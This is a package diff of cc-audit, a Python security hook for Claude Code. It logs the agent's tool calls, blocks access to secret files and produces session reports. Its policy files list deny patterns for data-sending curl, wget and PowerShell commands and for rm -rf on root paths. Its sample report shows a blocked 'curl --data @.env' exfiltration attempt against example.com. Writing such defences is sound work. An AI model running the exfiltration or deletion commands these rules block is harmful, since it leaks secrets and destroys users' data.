cc-audit 0.1.0__tar.gz

cc_audit-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Selim Efe Lüleci
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

cc_audit-0.1.0/MANIFEST.in

@@ -0,0 +1 @@
+include audit-policy.example.yaml

cc_audit-0.1.0/PKG-INFO

@@ -0,0 +1,165 @@
+Metadata-Version: 2.4
+Name: cc-audit
+Version: 0.1.0
+Summary: Local security/audit layer for Claude Code: logs every tool call, blocks sensitive file access, generates session reports.
+Author: Selim Efe Lüleci
+License-Expression: MIT
+Project-URL: Repository, https://github.com/selimllc/cc-audit
+Project-URL: Issues, https://github.com/selimllc/cc-audit/issues
+Keywords: claude-code,audit,security,hooks,agent
+Classifier: Development Status :: 4 - Beta
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Security
+Requires-Python: >=3.11
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: PyYAML>=6.0
+Dynamic: license-file
+
+# cc-audit
+
+A local, zero-telemetry security & audit layer for Claude Code — logs every tool call, blocks access to secrets, and reports what your agent actually touched.
+
+## Why
+
+Coding agents read files and run commands autonomously. The transcript shows what the model *said*; it is not an independent record of what it *did*, and it enforces nothing. cc-audit hooks Claude Code's PreToolUse event to give you both: a policy gate that runs before every tool call, and an append-only JSONL log written by a separate process the model doesn't control.
+
+This need is not hypothetical. During cc-audit's own development, we ran `cc-audit init` and assumed the hook was active. It wasn't — the session hadn't been reloaded, so the settings change had never been picked up — and a `.env` file was read without a single event in the audit log. The mismatch between the transcript and the (empty) log is exactly how you catch this failure mode: every hook invocation logs an event, so a tool call with no corresponding log line means the hook never ran.
+
+## Quickstart
+
+```console
+pipx install cc-audit        # or: pip install cc-audit
+cd your-project
+cc-audit init                # injects the hook into .claude/settings.json
+# restart Claude Code — hooks are read at session start
+```
+
+`init` backs up any existing `.claude/settings.json`, then merges in:
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "\"C:\\path\\to\\python.exe\" -m cc_audit.hook"
+          }
+        ]
+      }
+    ]
+  }
+}
+```
+
+The interpreter path is the absolute path of the Python that ran `init`, so the hook works regardless of what `python` resolves to inside Claude Code's environment. On macOS/Linux the injected path will look like `/home/user/.venv/bin/python` instead. **You must restart the Claude Code session after `init`** — running sessions do not pick up hook changes (see the incident above).
+
+From then on: blocked calls fail with the matching rule shown to the model; everything is appended to `.cc-audit/session-*.jsonl` (auto-gitignored). Inspect with:
+
+```console
+cc-audit report              # newest session, markdown to stdout
+cc-audit report --all        # every recorded session
+cc-audit report --session 33649a69
+cc-audit tail                # follow the live session
+```
+
+## Policy
+
+Put `audit-policy.yaml` in the project root (start from `audit-policy.example.yaml`). No file means built-in defaults.
+
+```yaml
+# Globs matched against the absolute target of Read/Write/Edit.
+# ~ expands to the user's home directory. Matching is case-insensitive
+# and separator-agnostic on Windows.
+blocked_paths:
+  - "**/.env"
+  - "**/.env.*"
+  - "**/*.pem"
+  - "**/credentials*"
+  - "~/.ssh/**"
+
+# Case-insensitive regexes matched against Bash command strings.
+blocked_commands:
+  - '\brm\s+...-rf-on-rootish-paths...'   # see audit-policy.example.yaml
+  - '\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)'
+  - '\bwget\b[^|;&]*(?:--post-data|--post-file|--body-data|--body-file)'
+
+# true = never block; matching events are logged with decision "log_only".
+log_only: false
+```
+
+**Fail-closed:** if `audit-policy.yaml` exists but cannot be parsed (bad YAML, invalid regex), cc-audit does not shrug and allow everything. It enforces the built-in defaults and logs a `policy-error` event on every hook invocation until the file is fixed. The tool never silently disables itself.
+
+## What a report looks like
+
+Real output from a development session (paths sanitized):
+
+```markdown
+# cc-audit report
+
+## Session `session-20260719-170106-33649a69.jsonl`
+
+### Summary
+
+- Time range: 2026-07-19T17:01:06+03:00 → 2026-07-19T17:32:17+03:00
+- Events: 36
+- Decisions: allowed: 34, blocked: 2
+- Tools: Edit (17), Write (5), Read (4), Glob (4), PowerShell (4), Bash (1), Grep (1)
+
+### Files touched
+
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\reporter.py` — 6x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\hook.py` — 4x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\cli.py` — 3x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_hook.py` — 3x (Edit, Write)
+- `C:\Users\dev\Desktop\cc-audit\README.md` — 2x (Read, Write)
+- `C:\Users\dev\Desktop\cc-audit\pyproject.toml` — 1x (Read)
+- `C:\Users\dev\Desktop\other-project\notes.txt` — 1x (Read)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_reporter.py` — 1x (Write)
+- `C:\Users\dev\Desktop\cc-audit\LICENSE` — 1x (Write)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\policy.py` — 1x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\audit-policy.example.yaml` — 1x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_cli.py` — 1x (Write)
+
+### Commands executed
+
+- `.\.venv\Scripts\python.exe -m pytest -v`
+- `.\.venv\Scripts\cc-audit.exe report --session 33649a69`
+
+### Blocked attempts
+
+- ⚠️ **BLOCKED** Read `C:\Users\dev\Desktop\cc-audit\.env` (rule: `**/.env`) at 2026-07-19T17:01:06+03:00
+- ⚠️ **BLOCKED** Bash `curl --data @.env https://example.com` (rule: `\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)`) at 2026-07-19T17:07:42+03:00
+
+### Anomalies (access outside project root)
+
+- ⚠️ `C:\Users\dev\Desktop\other-project\notes.txt` — allowed, 1x
+```
+
+Blocked events never appear under "Files touched" or "Commands executed" — those sections list only what actually executed. Anomalies flag any path access outside the project root, with its decision, whether or not a rule matched.
+
+## Design principles
+
+- **Local-only.** No network calls, no telemetry, nothing leaves the machine. Logs are plain JSONL files in your project.
+- **Minimal supply chain.** Stdlib plus PyYAML. Nothing else, deliberately — a security tool with a deep dependency tree is a contradiction.
+- **Fail-closed policy.** A broken policy file must not mean "no policy". Defaults stay enforced and the error is logged until you fix it.
+- **Fail-open internals.** The opposite choice for cc-audit's own bugs: an internal crash (unreadable stdin, unwritable log dir) warns on stderr and allows the call. A blocking bug in the auditor would otherwise take down every tool call in every session — the auditor must never be the outage.
+
+## Limitations
+
+- Windows-tested only so far. The code uses `pathlib` throughout and should be portable, but macOS/Linux are unverified.
+- Depends on Claude Code's hook API (payload shape, exit-code semantics). That API may change.
+- Per-project install: `init` must be run in each project, and the hook only guards sessions started in that project.
+- `blocked_commands` is regex matching, and regexes are bypassable — encodings, interpolation, writing a script and running it. cc-audit is an audit layer that raises the bar and leaves a record; it is **not** a sandbox. If you need containment, run the agent in one.
+
+## License
+
+MIT — see [LICENSE](LICENSE).

cc_audit-0.1.0/README.md

@@ -0,0 +1,142 @@
+# cc-audit
+
+A local, zero-telemetry security & audit layer for Claude Code — logs every tool call, blocks access to secrets, and reports what your agent actually touched.
+
+## Why
+
+Coding agents read files and run commands autonomously. The transcript shows what the model *said*; it is not an independent record of what it *did*, and it enforces nothing. cc-audit hooks Claude Code's PreToolUse event to give you both: a policy gate that runs before every tool call, and an append-only JSONL log written by a separate process the model doesn't control.
+
+This need is not hypothetical. During cc-audit's own development, we ran `cc-audit init` and assumed the hook was active. It wasn't — the session hadn't been reloaded, so the settings change had never been picked up — and a `.env` file was read without a single event in the audit log. The mismatch between the transcript and the (empty) log is exactly how you catch this failure mode: every hook invocation logs an event, so a tool call with no corresponding log line means the hook never ran.
+
+## Quickstart
+
+```console
+pipx install cc-audit        # or: pip install cc-audit
+cd your-project
+cc-audit init                # injects the hook into .claude/settings.json
+# restart Claude Code — hooks are read at session start
+```
+
+`init` backs up any existing `.claude/settings.json`, then merges in:
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "\"C:\\path\\to\\python.exe\" -m cc_audit.hook"
+          }
+        ]
+      }
+    ]
+  }
+}
+```
+
+The interpreter path is the absolute path of the Python that ran `init`, so the hook works regardless of what `python` resolves to inside Claude Code's environment. On macOS/Linux the injected path will look like `/home/user/.venv/bin/python` instead. **You must restart the Claude Code session after `init`** — running sessions do not pick up hook changes (see the incident above).
+
+From then on: blocked calls fail with the matching rule shown to the model; everything is appended to `.cc-audit/session-*.jsonl` (auto-gitignored). Inspect with:
+
+```console
+cc-audit report              # newest session, markdown to stdout
+cc-audit report --all        # every recorded session
+cc-audit report --session 33649a69
+cc-audit tail                # follow the live session
+```
+
+## Policy
+
+Put `audit-policy.yaml` in the project root (start from `audit-policy.example.yaml`). No file means built-in defaults.
+
+```yaml
+# Globs matched against the absolute target of Read/Write/Edit.
+# ~ expands to the user's home directory. Matching is case-insensitive
+# and separator-agnostic on Windows.
+blocked_paths:
+  - "**/.env"
+  - "**/.env.*"
+  - "**/*.pem"
+  - "**/credentials*"
+  - "~/.ssh/**"
+
+# Case-insensitive regexes matched against Bash command strings.
+blocked_commands:
+  - '\brm\s+...-rf-on-rootish-paths...'   # see audit-policy.example.yaml
+  - '\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)'
+  - '\bwget\b[^|;&]*(?:--post-data|--post-file|--body-data|--body-file)'
+
+# true = never block; matching events are logged with decision "log_only".
+log_only: false
+```
+
+**Fail-closed:** if `audit-policy.yaml` exists but cannot be parsed (bad YAML, invalid regex), cc-audit does not shrug and allow everything. It enforces the built-in defaults and logs a `policy-error` event on every hook invocation until the file is fixed. The tool never silently disables itself.
+
+## What a report looks like
+
+Real output from a development session (paths sanitized):
+
+```markdown
+# cc-audit report
+
+## Session `session-20260719-170106-33649a69.jsonl`
+
+### Summary
+
+- Time range: 2026-07-19T17:01:06+03:00 → 2026-07-19T17:32:17+03:00
+- Events: 36
+- Decisions: allowed: 34, blocked: 2
+- Tools: Edit (17), Write (5), Read (4), Glob (4), PowerShell (4), Bash (1), Grep (1)
+
+### Files touched
+
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\reporter.py` — 6x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\hook.py` — 4x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\cli.py` — 3x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_hook.py` — 3x (Edit, Write)
+- `C:\Users\dev\Desktop\cc-audit\README.md` — 2x (Read, Write)
+- `C:\Users\dev\Desktop\cc-audit\pyproject.toml` — 1x (Read)
+- `C:\Users\dev\Desktop\other-project\notes.txt` — 1x (Read)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_reporter.py` — 1x (Write)
+- `C:\Users\dev\Desktop\cc-audit\LICENSE` — 1x (Write)
+- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\policy.py` — 1x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\audit-policy.example.yaml` — 1x (Edit)
+- `C:\Users\dev\Desktop\cc-audit\tests\test_cli.py` — 1x (Write)
+
+### Commands executed
+
+- `.\.venv\Scripts\python.exe -m pytest -v`
+- `.\.venv\Scripts\cc-audit.exe report --session 33649a69`
+
+### Blocked attempts
+
+- ⚠️ **BLOCKED** Read `C:\Users\dev\Desktop\cc-audit\.env` (rule: `**/.env`) at 2026-07-19T17:01:06+03:00
+- ⚠️ **BLOCKED** Bash `curl --data @.env https://example.com` (rule: `\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)`) at 2026-07-19T17:07:42+03:00
+
+### Anomalies (access outside project root)
+
+- ⚠️ `C:\Users\dev\Desktop\other-project\notes.txt` — allowed, 1x
+```
+
+Blocked events never appear under "Files touched" or "Commands executed" — those sections list only what actually executed. Anomalies flag any path access outside the project root, with its decision, whether or not a rule matched.
+
+## Design principles
+
+- **Local-only.** No network calls, no telemetry, nothing leaves the machine. Logs are plain JSONL files in your project.
+- **Minimal supply chain.** Stdlib plus PyYAML. Nothing else, deliberately — a security tool with a deep dependency tree is a contradiction.
+- **Fail-closed policy.** A broken policy file must not mean "no policy". Defaults stay enforced and the error is logged until you fix it.
+- **Fail-open internals.** The opposite choice for cc-audit's own bugs: an internal crash (unreadable stdin, unwritable log dir) warns on stderr and allows the call. A blocking bug in the auditor would otherwise take down every tool call in every session — the auditor must never be the outage.
+
+## Limitations
+
+- Windows-tested only so far. The code uses `pathlib` throughout and should be portable, but macOS/Linux are unverified.
+- Depends on Claude Code's hook API (payload shape, exit-code semantics). That API may change.
+- Per-project install: `init` must be run in each project, and the hook only guards sessions started in that project.
+- `blocked_commands` is regex matching, and regexes are bypassable — encodings, interpolation, writing a script and running it. cc-audit is an audit layer that raises the bar and leaves a record; it is **not** a sandbox. If you need containment, run the agent in one.
+
+## License
+
+MIT — see [LICENSE](LICENSE).

cc_audit-0.1.0/audit-policy.example.yaml

@@ -0,0 +1,28 @@
+# cc-audit policy file.
+# Copy to audit-policy.yaml in your project root and edit as needed.
+# If this file is missing, cc-audit falls back to the built-in defaults shown below.
+# If the file exists but cannot be parsed, cc-audit FAILS CLOSED: it enforces the
+# built-in defaults and logs a policy-error event on every hook invocation.
+
+# Glob patterns matched against the absolute target path of Read/Write/Edit calls.
+# Patterns starting with ~ are expanded to the user's home directory.
+blocked_paths:
+  - "**/.env"
+  - "**/.env.*"
+  - "**/*.pem"
+  - "**/credentials*"
+  - "~/.ssh/**"
+
+# Regex patterns (case-insensitive) matched against Bash command strings.
+blocked_commands:
+  # rm -rf (any flag order) aimed at root-ish paths: /, ~, $HOME, %USERPROFILE%, C:\ ...
+  - '\brm\s+(?:-[a-zA-Z]+\s+)*-(?:[a-zA-Z]*r[a-zA-Z]*f|[a-zA-Z]*f[a-zA-Z]*r)[a-zA-Z]*\s+["'']?(?:/|~|\$HOME|%USERPROFILE%|[A-Za-z]:[\\/])["'']?\s*$'
+  # curl sending local data out
+  - '\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)'
+  # wget posting local data out
+  - '\bwget\b[^|;&]*(?:--post-data|--post-file|--body-data|--body-file)'
+  # PowerShell-native exfiltration
+  - '\b(?:Invoke-WebRequest|Invoke-RestMethod|iwr|irm)\b[^|;&]*(?:-Body\b|-InFile\b|-Method\s+Post\b)'
+
+# If true, nothing is ever blocked; matching events are logged with decision "log_only".
+log_only: false

cc_audit-0.1.0/pyproject.toml

@@ -0,0 +1,43 @@
+[build-system]
+requires = ["setuptools>=77"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "cc-audit"
+dynamic = ["version"]
+description = "Local security/audit layer for Claude Code: logs every tool call, blocks sensitive file access, generates session reports."
+readme = "README.md"
+license = "MIT"
+license-files = ["LICENSE"]
+authors = [{ name = "Selim Efe Lüleci" }]
+requires-python = ">=3.11"
+dependencies = [
+    "PyYAML>=6.0",
+]
+keywords = ["claude-code", "audit", "security", "hooks", "agent"]
+classifiers = [
+    "Development Status :: 4 - Beta",
+    "Environment :: Console",
+    "Intended Audience :: Developers",
+    "Operating System :: Microsoft :: Windows",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Programming Language :: Python :: 3.13",
+    "Topic :: Security",
+]
+
+[project.urls]
+Repository = "https://github.com/selimllc/cc-audit"
+Issues = "https://github.com/selimllc/cc-audit/issues"
+
+[project.scripts]
+cc-audit = "cc_audit.cli:main"
+
+[tool.setuptools.packages.find]
+where = ["src"]
+
+[tool.setuptools.dynamic]
+version = { attr = "cc_audit.__version__" }
+
+[tool.pytest.ini_options]
+testpaths = ["tests"]

cc_audit-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

cc_audit-0.1.0/src/cc_audit/__init__.py

@@ -0,0 +1,3 @@
+"""cc-audit: local security/audit layer for Claude Code."""
+
+__version__ = "0.1.0"

cc_audit-0.1.0/src/cc_audit/cli.py

@@ -0,0 +1,154 @@
+"""cc-audit command-line interface: init, report, tail."""
+
+from __future__ import annotations
+
+import argparse
+import json
+import shutil
+import sys
+import time
+from datetime import datetime
+from pathlib import Path
+
+from cc_audit.logger import AUDIT_DIR_NAME
+
+
+def hook_command() -> str:
+    """Hook invocation pinned to the interpreter running init, quoted for spaces."""
+    return f'"{sys.executable}" -m cc_audit.hook'
+
+
+def cmd_init(args: argparse.Namespace) -> int:
+    """Inject the PreToolUse hook into .claude/settings.json (with backup)."""
+    root = Path.cwd()
+    settings_path = root / ".claude" / "settings.json"
+    settings: dict = {}
+
+    if settings_path.exists():
+        try:
+            settings = json.loads(settings_path.read_text(encoding="utf-8"))
+        except (json.JSONDecodeError, OSError) as exc:
+            print(f"cc-audit: cannot parse {settings_path}: {exc}", file=sys.stderr)
+            print("cc-audit: refusing to modify it; fix the file and retry.", file=sys.stderr)
+            return 1
+        if not isinstance(settings, dict):
+            print(f"cc-audit: {settings_path} is not a JSON object; refusing.", file=sys.stderr)
+            return 1
+        backup = settings_path.with_name(
+            f"settings.json.bak-{datetime.now().strftime('%Y%m%d-%H%M%S')}"
+        )
+        shutil.copy2(settings_path, backup)
+        print(f"Backed up existing settings to {backup}")
+
+    command = hook_command()
+    hooks = settings.setdefault("hooks", {})
+    pre_tool_use = hooks.setdefault("PreToolUse", [])
+    for entry in pre_tool_use:
+        for hook in entry.get("hooks", []):
+            if "-m cc_audit.hook" in str(hook.get("command", "")):
+                if hook.get("command") == command:
+                    print(f"cc-audit hook already up to date in {settings_path}.")
+                    return 0
+                hook["command"] = command
+                settings_path.write_text(
+                    json.dumps(settings, indent=2) + "\n", encoding="utf-8"
+                )
+                print(f"Updated existing cc-audit hook to ({command}) in {settings_path}")
+                return 0
+
+    pre_tool_use.append(
+        {
+            "matcher": "*",
+            "hooks": [{"type": "command", "command": command}],
+        }
+    )
+    settings_path.parent.mkdir(parents=True, exist_ok=True)
+    settings_path.write_text(json.dumps(settings, indent=2) + "\n", encoding="utf-8")
+    print(f"Installed PreToolUse hook ({command}) in {settings_path}")
+    return 0
+
+
+def cmd_report(args: argparse.Namespace) -> int:
+    from cc_audit.reporter import generate_report
+
+    report = generate_report(Path.cwd(), session=args.session, all_sessions=args.all)
+    print(report)
+    return 0
+
+
+def _newest_session_file(directory: Path) -> Path | None:
+    files = list(directory.glob("session-*.jsonl"))
+    return max(files, key=lambda p: p.stat().st_mtime) if files else None
+
+
+def _print_event(line: str) -> None:
+    try:
+        event = json.loads(line)
+    except json.JSONDecodeError:
+        return
+    timestamp = str(event.get("timestamp", ""))[11:19]
+    decision = str(event.get("decision", "?"))
+    marker = "⚠️ " if decision in ("blocked", "policy-error") else ""
+    print(
+        f"{timestamp}  {marker}{decision.upper():<12} {str(event.get('tool_name')):<10} "
+        f"{event.get('target')}"
+        + (f"  [rule: {event['rule']}]" if event.get("rule") else "")
+    )
+
+
+def cmd_tail(args: argparse.Namespace) -> int:
+    """Follow the newest session JSONL, switching if a newer one appears."""
+    directory = Path.cwd() / AUDIT_DIR_NAME
+    current: Path | None = None
+    handle = None
+    print("cc-audit: waiting for events (Ctrl+C to stop)...")
+    try:
+        while True:
+            newest = _newest_session_file(directory) if directory.is_dir() else None
+            if newest is not None and newest != current:
+                if handle:
+                    handle.close()
+                current = newest
+                handle = current.open(encoding="utf-8")
+                print(f"--- following {current.name} ---")
+            if handle:
+                line = handle.readline()
+                if line:
+                    _print_event(line.strip())
+                    continue
+            time.sleep(0.5)
+    except KeyboardInterrupt:
+        return 0
+    finally:
+        if handle:
+            handle.close()
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="cc-audit",
+        description="Local security/audit layer for Claude Code.",
+    )
+    subparsers = parser.add_subparsers(dest="command", required=True)
+
+    parser_init = subparsers.add_parser(
+        "init", help="install the PreToolUse hook into .claude/settings.json"
+    )
+    parser_init.set_defaults(func=cmd_init)
+
+    parser_report = subparsers.add_parser("report", help="print a markdown session report")
+    parser_report.add_argument("--session", help="session id/name substring to report on")
+    parser_report.add_argument(
+        "--all", action="store_true", help="report on all recorded sessions"
+    )
+    parser_report.set_defaults(func=cmd_report)
+
+    parser_tail = subparsers.add_parser("tail", help="follow the newest session log live")
+    parser_tail.set_defaults(func=cmd_tail)
+
+    args = parser.parse_args(argv)
+    return args.func(args)
+
+
+if __name__ == "__main__":
+    sys.exit(main())

cc_audit-0.1.0/src/cc_audit/hook.py

@@ -0,0 +1,104 @@
+"""PreToolUse hook entry point.
+
+Invoked by Claude Code as ``python -m cc_audit.hook``. Reads the hook
+payload JSON from stdin, checks the target against the policy, logs the
+event, and exits 2 with a reason on stderr to block, or 0 to allow.
+
+Internal failures (broken stdin, unwritable log directory, ...) are
+reported on stderr but exit 0 so a bug in the auditor cannot brick the
+session; policy-file failures are handled fail-closed in policy.py.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+PATH_TOOLS = frozenset({"Read", "Write", "Edit"})
+SEARCH_TOOLS = frozenset({"Glob", "Grep"})
+
+
+def _scalar_summary(tool_input: dict) -> str:
+    """Compact single-line summary of the payload's scalar fields."""
+    parts = [
+        f"{key}={value}"
+        for key, value in tool_input.items()
+        if isinstance(value, (str, int, float, bool))
+    ]
+    summary = " ".join(parts) or "(no input)"
+    return " ".join(summary.split())[:300]
+
+
+def extract_target(tool_name: str, tool_input: dict) -> tuple[str, str | None]:
+    """Return (target, kind) where kind is "path", "command", or None.
+
+    Every tool gets a non-empty target: path tools use file_path, search
+    tools use pattern, and any tool whose payload carries a command field
+    (Bash, PowerShell, ...) is treated as a shell command. Anything else
+    falls back to a scalar summary of the payload.
+    """
+    if tool_name in PATH_TOOLS:
+        file_path = tool_input.get("file_path")
+        if file_path:
+            return str(file_path), "path"
+    elif tool_name in SEARCH_TOOLS:
+        pattern = tool_input.get("pattern")
+        if pattern:
+            path = tool_input.get("path")
+            return (f"{pattern} in {path}" if path else str(pattern)), None
+    command = tool_input.get("command")
+    if isinstance(command, str) and command:
+        return command, "command"
+    return _scalar_summary(tool_input), None
+
+
+def run(payload: dict) -> int:
+    from cc_audit import logger
+    from cc_audit.policy import POLICY_FILENAME, load_policy
+
+    tool_name = str(payload.get("tool_name") or "unknown")
+    tool_input = payload.get("tool_input") or {}
+    if not isinstance(tool_input, dict):
+        tool_input = {}
+    session_id = payload.get("session_id")
+    root = Path(payload.get("cwd") or Path.cwd())
+
+    policy = load_policy(root)
+    if policy.error:
+        logger.log_event(
+            root, session_id, "cc-audit", str(root / POLICY_FILENAME), "policy-error", policy.error
+        )
+
+    target, kind = extract_target(tool_name, tool_input)
+    if kind == "path":
+        decision, rule = policy.check_path(target)
+    elif kind == "command":
+        decision, rule = policy.check_command(target)
+    else:
+        decision, rule = "allowed", None
+
+    logger.log_event(root, session_id, tool_name, target, decision, rule)
+
+    if decision == "blocked":
+        print(f"cc-audit: blocked {tool_name} on {target} (rule: {rule})", file=sys.stderr)
+        return 2
+    return 0
+
+
+def main() -> int:
+    try:
+        raw = sys.stdin.read().lstrip("")
+        payload = json.loads(raw) if raw.strip() else {}
+        if not isinstance(payload, dict):
+            payload = {}
+        return run(payload)
+    except SystemExit:
+        raise
+    except Exception as exc:
+        print(f"cc-audit: internal error, allowing tool call: {exc}", file=sys.stderr)
+        return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())